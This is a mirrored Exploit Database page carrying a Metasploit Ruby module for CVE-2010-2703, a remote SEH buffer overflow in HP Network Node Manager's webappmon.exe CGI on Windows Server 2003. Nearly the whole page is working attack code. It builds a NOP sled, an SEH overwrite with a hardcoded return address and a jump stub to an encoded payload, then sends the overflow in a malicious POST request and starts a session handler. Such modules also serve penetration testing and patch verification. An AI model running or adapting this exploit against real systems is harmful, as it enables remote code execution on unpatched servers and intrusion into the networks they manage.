HP Network Node Manager (NMM) – CGI ‘webappmon.exe execvp’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 33 阅读

• 作者： Metasploit
  日期： 2011-03-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17030/

• ##
  # $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name'=> "HP NNM CGI webappmon.exe execvp Buffer Overflow",
  			'Description' => %q{
  				This module exploits a buffer overflow in HP NNM's webappmon.exe.
  				The vulnerability occurs when function "execvp_nc" fails to do any bounds-
  				checking before strcat is used to append user-supplied input to a buffer.
  			},
  			'License'	=> MSF_LICENSE,
  			'Version'	=> "$Revision: 12086 $",
  			'Author'=>
  				[
  					'shahin <shahin[at]abysssec.com>',
  					'sinn3r',
  				],
  			'References' =>
  				[
  					['CVE', '2010-2703'],
  					['OSVDB', '66514'],
  				],
  			'Payload'	 =>
  				{
  					'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'EncoderOptions' => {'BufferRegister'=>'ECX'},
  				},
  			'DefaultOptions' =>
  				{
  					'ExitFunction' => "seh",
  					'AutoRunScript' => 'migrate -f',
  				},
  			'Platform' => 'win',
  			'Targets'	 =>
  				[
  					[ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],
  				],
  			'DisclosureDate' => "SEP 6 2010"))
  
  			register_options(
  				[
  					Opt::RPORT(80),
  				], self.class)
  	end
  
  	def exploit
  		nops = make_nops(1000)*10
  
  		sploit = nops[0, 5455]
  		sploit << generate_seh_record(target.ret)
  		sploit << "\x61"*13
  		sploit << "\x51"
  		sploit << "\xc3"
  		sploit << nops[0, 57]
  		sploit << payload.encoded
  		sploit << nops[0, 10000-sploit.length]
  
  		post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1"
  
  		connect
  
  		print_status("Sending malicious request...")
  		send_request_raw({
  			'uri' => '/OvCgi/webappmon.exe',
  			'data' => post_data,
  			'version' => '1.1',
  			'method' => 'POST',
  			'headers' => {
  				'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  				'Accept-Language' => 'en-us,en;q=0.5',
  				'Accept-Encoding' => 'gzip,deflate',
  				'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
  				'Keep-Alive' => '300',
  				'Connection' => 'Keep-Alive',
  				'Cache-Control' => 'max-age=0',
  				'Content-Length' => post_data.length,
  				'Content-Type' => 'application/x-www-form-urlencoded',
  			}
  		}, 3)
  
  		handler
  		disconnect
  
  	end
  end